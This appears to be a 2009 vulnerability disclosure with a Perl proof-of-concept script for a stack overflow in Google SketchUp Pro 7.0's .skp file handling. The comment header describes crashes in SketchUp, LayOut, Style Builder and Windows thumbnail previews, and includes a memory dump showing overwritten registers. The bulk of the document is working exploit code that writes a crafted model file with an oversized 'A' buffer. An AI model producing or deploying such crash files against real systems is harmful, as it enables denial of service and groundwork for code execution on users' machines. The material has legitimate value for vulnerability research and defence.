#!/usr/bin/perl # # # Title: # # Google SketchUp Pro 7.0 Model File Handling Remote Stack Overflow PoC # # # # Vendor: # # Google Inc. (http://www.google.com) # # # # Product Web Page: # # http://www.sketchup.com # http://sketchup.google.com # # # # Current Version: # # 7.0.10247 # # # # Summary: # # Google SketchUp Pro 7 is a suite of powerful features and # applications for streamlining your professional 3D workflow. # # # # Description: # # Google SketchUp Pro 7.0 suffers from a stack overflow vulnerability. It fails # to handle the .skp file format resulting in crash overflowing the memory stack, # poping out the crash reporter tool from Google. # # EBX, ESI and EDI gets overwritten (depending of the offset). The issue is # triggered when double-clicking the file or thru Open menu by just selecting # the file. Same happens with the 2 other apps included in this Pro version of # Google SketchUp. LayOut 2.0 (current version: 2.0.10247) suffers from the same # issue when insering the .skp file by File -> Insert -> evil.skp file. Style # Builder 1.0 (current version: 1.0.10247) by going Preview -> Change Model -> # evil.skp file. # # Another issue is the DLL files provided with the Google SketchUp Pro package. # ThumbsUp.dll and xerces-c_2_6.dll mingles with the Thumbnail view from Microsoft. # If you select the created "SketchUp_PoC.skp" file, explorer.exe instantly crashes # and restarts. Every application that uses Open Dialog Boxes will crash if you view # the folder containing the PoC file in thumbnails view. Attaching files on e-mail # thru Mozilla Firefox, viewing thumbnails of the PoC crashes Firefox with it's crash # reporter, MS Office, Skype, MSN Messenger, etc...you name it. # # # # Vendor Notification Status: # # Vendor notified, fix scheduled to be included in the next upcoming release of Google # SketchUp product. # # # # Tested On Microsoft Windows XP Professional Service Pack 3 (English) # # # # Vulnerability Discovered By: # # Gjoko 'LiquidWorm' Krstic # # liquidworm gmail com # # Zero Science Lab - http://www.zeroscience.org/ # # 22.07.2009 # # # # ---------- Memory Snip ---------- # # 0012b310: 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 # 0012b330: 41414141 41414141 41414141 41414141 00120041 78138ced 38740c4c fffffffe # 0012b350: 78134c58 0012b384 7c809abc 7c809ac6 0012eee0 0012eee0 02c85744 0012b360 # 0012b370: 02c85744 0012eda8 7c839ac0 7c809ad0 ffffffff 7c809ac6 7c809ac6 0084bdac # 0012b390: 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 # 0012b3b0: 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 # 0012b3d0: 00120041 78138ced 38740c4c fffffffe 78134c58 0012b414 7c809abc 7c809ac6 # 0012b3f0: 0012eee0 0012eee0 02c85744 0012b3f0 02c85744 0012eda8 7c839ac0 7c809ad0 # 0012b410: ffffffff 7c809ac6 7c809ac6 0084bdac 41414141 41414141 41414141 41414141 # 0012b430: 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 # 0012b450: 41414141 41414141 41414141 41414141 00120041 78138ced 38740c4c fffffffe # 0012b470: 78134c58 0012b4a4 7c809abc 7c809ac6 0012eee0 0012eee0 02c85744 0012b480 # 0012b490: 02c85744 0012eda8 7c839ac0 7c809ad0 ffffffff 7c809ac6 7c809ac6 0084bdac # 0012b4b0: 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 # 0012b4d0: 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 # 0012b4f0: 00120041 78138ced 38740c4c fffffffe 78134c58 0012b534 7c809abc 7c809ac6 # 0012b510: 0012eee0 0012eee0 02c85744 0012b510 02c85744 0012eda8 7c839ac0 7c809ad0 # 0012b530: ffffffff 7c809ac6 7c809ac6 0084bdac 41414141 41414141 41414141 41414141 # 0012b550: 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 # 0012b570: 41414141 41414141 41414141 41414141 00120041 78138ced 38740c4c fffffffe # 0012b590: 78134c58 0012b5c4 7c809abc 7c809ac6 0012eee0 0012eee0 02c85744 0012b5a0 # 0012b5b0: 02c85744 0012eda8 7c839ac0 7c809ad0 ffffffff 7c809ac6 7c809ac6 0084bdac # 0012b5d0: 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 # 0012b5f0: 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 # 0012b610: 00120041 78138ced 38740c4c fffffffe 78134c58 0012b654 7c809abc 7c809ac6 # # --------- /Memory Snip ---------- # # # print "\n"; print "#" x 80; print "\nGoogle SketchUp Pro 7.0 (.skp file) Remote Stack Overflow Proof Of Concept\n"; print "-" x 80; print "\t\tby LiquidWorm - 2009\n\n"; print "#" x 80; $header= "\xFF\xFE\xFF\x0E\x53\x00\x6B\x00\x65\x00\x74\x00\x63\x00\x68\x00\x55\x00\x70\x00\x20\x00\x4D\x00\x6F". "\x00\x64\x00\x65\x00\x6C\x00\xFF\xFE\xFF\x0B\x7B\x00\x37\x00\x2E\x00\x30\x00\x2E\x00\x31\x00\x30\x00". "\x32\x00\x34\x00\x37\x00\x7D\x00\xA5\x64\x9C\x7A\x5F\x28\x37\x4A\x8F\xBD\x7E\x93\x1F\xBA\x22\x92\xFF". "\xFE\xFF\x00\xA5\xB6\x67\x4A\xFF\xFF\x00\x00\x0B\x00\x43\x56\x65\x72\x73\x69\x6F\x6E\x4D\x61\x70\xFF". "\xFE\xFF\x09\x43\x00\x41\x00\x72\x00\x63\x00\x43\x00\x75\x00\x72\x00\x76\x00\x65\x00\x01\x00\x00\x00". "\xFF\xFE\xFF\x0A\x43\x00\x41\x00\x74\x00\x74\x00\x72\x00\x69\x00\x62\x00\x75\x00\x74\x00\x65\x00\x00". "\x00\x00\x00\xFF\xFE\xFF\x13\x43\x00\x41\x00\x74\x00\x74\x00\x72\x00\x69\x00\x62\x00\x75\x00\x74\x00". "\x65\x00\x43\x00\x6F\x00\x6E\x00\x74\x00\x61\x00\x69\x00\x6E\x00\x65\x00\x72\x00\x00\x00\x00\x00\xFF". "\xFE\xFF\x0F\x43\x00\x41\x00\x74\x00\x74\x00\x72\x00\x69\x00\x62\x00\x75\x00\x74\x00\x65\x00\x4E\x00". "\x61\x00\x6D\x00\x65\x00\x64\x00\x01\x00\x00\x00\xFF\xFE\xFF\x10\x43\x00\x42\x00\x61\x00\x63\x00\x6B". "\x00\x67\x00\x72\x00\x6F\x00\x75\x00\x6E\x00\x64\x00\x49\x00\x6D\x00\x61\x00\x67\x00\x65\x00\x09\x00". "\x00\x00\xFF\xFE\xFF\x07\x43\x00\x43\x00\x61\x00\x6D\x00\x65\x00\x72\x00\x61\x00\x05\x00\x00\x00\xFF". "\xFE\xFF\x0A\x43\x00\x43\x00\x6F\x00\x6D\x00\x70\x00\x6F\x00\x6E\x00\x65\x00\x6E\x00\x74\x00\x0B\x00". "\x00\x00\xFF\xFE\xFF\x12\x43\x00\x43\x00\x6F\x00\x6D\x00\x70\x00\x6F\x00\x6E\x00\x65\x00\x6E\x00\x74". "\x00\x42\x00\x65\x00\x68\x00\x61\x00\x76\x00\x69\x00\x6F\x00\x72\x00\x05\x00\x00\x00\xFF\xFE\xFF\x14". "\x43\x00\x43\x00\x6F\x00\x6D\x00\x70\x00\x6F\x00\x6E\x00\x65\x00\x6E\x00\x74\x00\x44\x00\x65\x00\x66". "\x00\x69\x00\x6E\x00\x69\x00\x74\x00\x69\x00\x6F\x00\x6E\x00\x0A\x00\x00\x00\xFF\xFE\xFF\x12\x43\x00". "\x43\x00\x6F\x00\x6D\x00\x70\x00\x6F\x00\x6E\x00\x65\x00\x6E\x00\x74\x00\x49\x00\x6E\x00\x73\x00\x74". "\x00\x61\x00\x6E\x00\x63\x00\x65\x00\x04\x00\x00\x00\xFF\xFE\xFF\x15\x43\x00\x43\x00\x6F\x00\x6E\x00". "\x73\x00\x74\x00\x72\x00\x75\x00\x63\x00\x74\x00\x69\x00\x6F\x00\x6E\x00\x47\x00\x65\x00\x6F\x00\x6D". "\x00\x65\x00\x74\x00\x72\x00\x79\x00\x00\x00\x00\x00\xFF\xFE\xFF\x11\x43\x00\x43\x00\x6F\x00\x6E\x00". "\x73\x00\x74\x00\x72\x00\x75\x00\x63\x00\x74\x00\x69\x00\x6F\x00\x6E\x00\x4C\x00\x69\x00\x6E\x00\x65". "\x00\x01\x00\x00\x00\xFF\xFE\xFF\x12\x43\x00\x43\x00\x6F\x00\x6E\x00\x73\x00\x74\x00\x72\x00\x75\x00". "\x63\x00\x74\x00\x69\x00\x6F\x00\x6E\x00\x50\x00\x6F\x00\x69\x00\x6E\x00\x74\x00\x00\x00\x00\x00\xFF". "\xFE\xFF\x06\x43\x00\x43\x00\x75\x00\x72\x00\x76\x00\x65\x00\x04\x00\x00\x00\xFF\xFE\xFF\x0F\x43\x00". "\x44\x00\x65\x00\x66\x00\x69\x00\x6E\x00\x69\x00\x74\x00\x69\x00\x6F\x00\x6E\x00\x4C\x00\x69\x00\x73". "\x00\x74\x00\x00\x00\x00\x00\xFF\xFE\xFF\x04\x43\x00\x44\x00\x69\x00\x62\x00\x03\x00\x00\x00\xFF\xFE". "\xFF\x0A\x43\x00\x44\x00\x69\x00\x6D\x00\x65\x00\x6E\x00\x73\x00\x69\x00\x6F\x00\x6E\x00\x01\x00\x00". "\x00\xFF\xFE\xFF\x10\x43\x00\x44\x00\x69\x00\x6D\x00\x65\x00\x6E\x00\x73\x00\x69\x00\x6F\x00\x6E\x00". "\x4C\x00\x69\x00\x6E\x00\x65\x00\x61\x00\x72\x00\x06\x00\x00\x00\xFF\xFE\xFF\x10\x43\x00\x44\x00\x69". "\x00\x6D\x00\x65\x00\x6E\x00\x73\x00\x69\x00\x6F\x00\x6E\x00\x52\x00\x61\x00\x64\x00\x69\x00\x61\x00". "\x6C\x00\x02\x00\x00\x00\xFF\xFE\xFF\x0F\x43\x00\x44\x00\x69\x00\x6D\x00\x65\x00\x6E\x00\x73\x00\x69". "\x00\x6F\x00\x6E\x00\x53\x00\x74\x00\x79\x00\x6C\x00\x65\x00\x04\x00\x00\x00\xFF\xFE\xFF\x0F\x43\x00". "\x44\x00\x72\x00\x61\x00\x77\x00\x69\x00\x6E\x00\x67\x00\x45\x00\x6C\x00\x65\x00\x6D\x00\x65\x00\x6E". "\x00\x74\x00\x09\x00\x00\x00\xFF\xFE\xFF\x05\x43\x00\x45\x00\x64\x00\x67\x00\x65\x00\x02\x00\x00\x00". "\xFF\xFE\xFF\x08\x43\x00\x45\x00\x64\x00\x67\x00\x65\x00\x55\x00\x73\x00\x65\x00\x01\x00\x00\x00\xFF". "\xFE\xFF\x07\x43\x00\x45\x00\x6E\x00\x74\x00\x69\x00\x74\x00\x79\x00\x03\x00\x00\x00\xFF\xFE\xFF\x05". "\x43\x00\x46\x00\x61\x00\x63\x00\x65\x00\x03\x00\x00\x00\xFF\xFE\xFF\x12\x43\x00\x46\x00\x61\x00\x63". "\x00\x65\x00\x54\x00\x65\x00\x78\x00\x74\x00\x75\x00\x72\x00\x65\x00\x43\x00\x6F\x00\x6F\x00\x72\x00". "\x64\x00\x73\x00\x04\x00\x00\x00\xFF\xFE\xFF\x0C\x43\x00\x46\x00\x6F\x00\x6E\x00\x74\x00\x4D\x00\x61". "\x00\x6E\x00\x61\x00\x67\x00\x65\x00\x72\x00\x00\x00\x00\x00\xFF\xFE\xFF\x06\x43\x00\x47\x00\x72\x00". "\x6F\x00\x75\x00\x70\x00\x01\x00\x00\x00\xFF\xFE\xFF\x06\x43\x00\x49\x00\x6D\x00\x61\x00\x67\x00\x65". "\x00\x01\x00\x00\x00\xFF\xFE\xFF\x06\x43\x00\x4C\x00\x61\x00\x79\x00\x65\x00\x72\x00\x02\x00\x00\x00". "\xFF\xFE\xFF\x0D\x43\x00\x4C\x00\x61\x00\x79\x00\x65\x00\x72\x00\x4D\x00\x61\x00\x6E\x00\x61\x00\x67". "\x00\x65\x00\x72\x00\x04\x00\x00\x00\xFF\xFE\xFF\x05\x43\x00\x4C\x00\x6F\x00\x6F\x00\x70\x00\x01\x00". "\x00\x00\xFF\xFE\xFF\x09\x43\x00\x4D\x00\x61\x00\x74\x00\x65\x00\x72\x00\x69\x00\x61\x00\x6C\x00\x0C". "\x00\x00\x00\xFF\xFE\xFF\x10\x43\x00\x4D\x00\x61\x00\x74\x00\x65\x00\x72\x00\x69\x00\x61\x00\x6C\x00". "\x4D\x00\x61\x00\x6E\x00\x61\x00\x67\x00\x65\x00\x72\x00\x04\x00\x00\x00\xFF\xFE\xFF\x09\x43\x00\x50". "\x00\x61\x00\x67\x00\x65\x00\x4C\x00\x69\x00\x73\x00\x74\x00\x01\x00\x00\x00\xFF\xFE\xFF\x0B\x43\x00". "\x50\x00\x6F\x00\x6C\x00\x79\x00\x6C\x00\x69\x00\x6E\x00\x65\x00\x33\x00\x64\x00\x00\x00\x00\x00\xFF". "\xFE\xFF\x0D\x43\x00\x52\x00\x65\x00\x6C\x00\x61\x00\x74\x00\x69\x00\x6F\x00\x6E\x00\x73\x00\x68\x00". "\x69\x00\x70\x00\x00\x00\x00\x00\xFF\xFE\xFF\x10\x43\x00\x52\x00\x65\x00\x6C\x00\x61\x00\x74\x00\x69". "\x00\x6F\x00\x6E\x00\x73\x00\x68\x00\x69\x00\x70\x00\x4D\x00\x61\x00\x70\x00\x00\x00\x00\x00\xFF\xFE". "\xFF\x11\x43\x00\x52\x00\x65\x00\x6E\x00\x64\x00\x65\x00\x72\x00\x69\x00\x6E\x00\x67\x00\x4F\x00\x70". "\x00\x74\x00\x69\x00\x6F\x00\x6E\x00\x73\x00\x23\x00\x00\x00\xFF\xFE\xFF\x0D\x43\x00\x53\x00\x65\x00". "\x63\x00\x74\x00\x69\x00\x6F\x00\x6E\x00\x50\x00\x6C\x00\x61\x00\x6E\x00\x65\x00\x02\x00\x00\x00\xFF". "\xFE\xFF\x0B\x43\x00\x53\x00\x68\x00\x61\x00\x64\x00\x6F\x00\x77\x00\x49\x00\x6E\x00\x66\x00\x6F\x00". "\x07\x00\x00\x00\xFF\xFE\xFF\x07\x43\x00\x53\x00\x6B\x00\x46\x00\x6F\x00\x6E\x00\x74\x00\x01\x00\x00". "\x00\xFF\xFE\xFF\x09\x43\x00\x53\x00\x6B\x00\x65\x00\x74\x00\x63\x00\x68\x00\x43\x00\x53\x00\x00\x00". "\x00\x00\xFF\xFE\xFF\x0E\x43\x00\x53\x00\x6B\x00\x65\x00\x74\x00\x63\x00\x68\x00\x55\x00\x70\x00\x4D". "\x00\x6F\x00\x64\x00\x65\x00\x6C\x00\x16\x00\x00\x00\xFF\xFE\xFF\x0D\x43\x00\x53\x00\x6B\x00\x65\x00". "\x74\x00\x63\x00\x68\x00\x55\x00\x70\x00\x50\x00\x61\x00\x67\x00\x65\x00\x01\x00\x00\x00\xFF\xFE\xFF". "\x09\x43\x00\x53\x00\x6B\x00\x70\x00\x53\x00\x74\x00\x79\x00\x6C\x00\x65\x00\x01\x00\x00\x00\xFF\xFE". "\xFF\x10\x43\x00\x53\x00\x6B\x00\x70\x00\x53\x00\x74\x00\x79\x00\x6C\x00\x65\x00\x4D\x00\x61\x00\x6E". "\x00\x61\x00\x67\x00\x65\x00\x72\x00\x02\x00\x00\x00\xFF\xFE\xFF\x05\x43\x00\x54\x00\x65\x00\x78\x00". "\x74\x00\x09\x00\x00\x00\xFF\xFE\xFF\x0A\x43\x00\x54\x00\x65\x00\x78\x00\x74\x00\x53\x00\x74\x00\x79". "\x00\x6C\x00\x65\x00\x05\x00\x00\x00\xFF\xFE\xFF\x08\x43\x00\x54\x00\x65\x00\x78\x00\x74\x00\x75\x00". "\x72\x00\x65\x00\x06\x00\x00\x00\xFF\xFE\xFF\x0A\x43\x00\x54\x00\x68\x00\x75\x00\x6D\x00\x62\x00\x6E". "\x00\x61\x00\x69\x00\x6C\x00\x01\x00\x00\x00\xFF\xFE\xFF\x07\x43\x00\x56\x00\x65\x00\x72\x00\x74\x00". "\x65\x00\x78\x00\x00\x00\x00\x00\xFF\xFE\xFF\x09\x43\x00\x56\x00\x69\x00\x65\x00\x77\x00\x50\x00\x61". "\x00\x67\x00\x65\x00\x0B\x00\x00\x00\xFF\xFE\xFF\x0A\x43\x00\x57\x00\x61\x00\x74\x00\x65\x00\x72\x00". "\x6D\x00\x61\x00\x72\x00\x6B\x00\x01\x00\x00\x00\xFF\xFE\xFF\x11\x43\x00\x57\x00\x61\x00\x74\x00\x65". "\x00\x72\x00\x6D\x00\x61\x00\x72\x00\x6B\x00\x4D\x00\x61\x00\x6E\x00\x61\x00\x67\x00\x65\x00\x72\x00". "\x02\x00\x00\x00\xFF\xFE\xFF\x12\x45\x00\x6E\x00\x64\x00\x2D\x00\x4F\x00\x66\x00\x2D\x00\x56\x00\x65". "\x00\x72\x00\x73\x00\x69\x00\x6F\x00\x6E\x00\x2D\x00\x4D\x00\x61\x00\x70\x00\x00\x00\x00\x00\x01\x00". "\x00\x00\xB0\x04\x00\x00\x02\x00\x00\x00\xFF\xFF\x03\x00\x04\x00\x43\x44\x69\x62\x04\x00\x00\x00\xFA". "\x02\x00\x00\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52\x00\x00\x00\x80\x00\x00". "\x00\x44\x08\x06\x00\x00\x00\x49\x47\x3D\x69\x00\x00\x00\x04\x73\x42\x49\x54\x08\x08\x08\x08\x7C\x08". "\x64\x88\x00\x00\x00\x09\x70\x48\x59\x73\x00"; $buff = "\x41" x 598897; open fp, ">./SketchUp_PoC.skp"; print fp $header.$buff; close fp; sleep 2; print "\n----> Creating PoC SketchUp Model File...\n"; sleep 1; print "\n----> File: SketchUp_PoC.skp successfully generated!\n";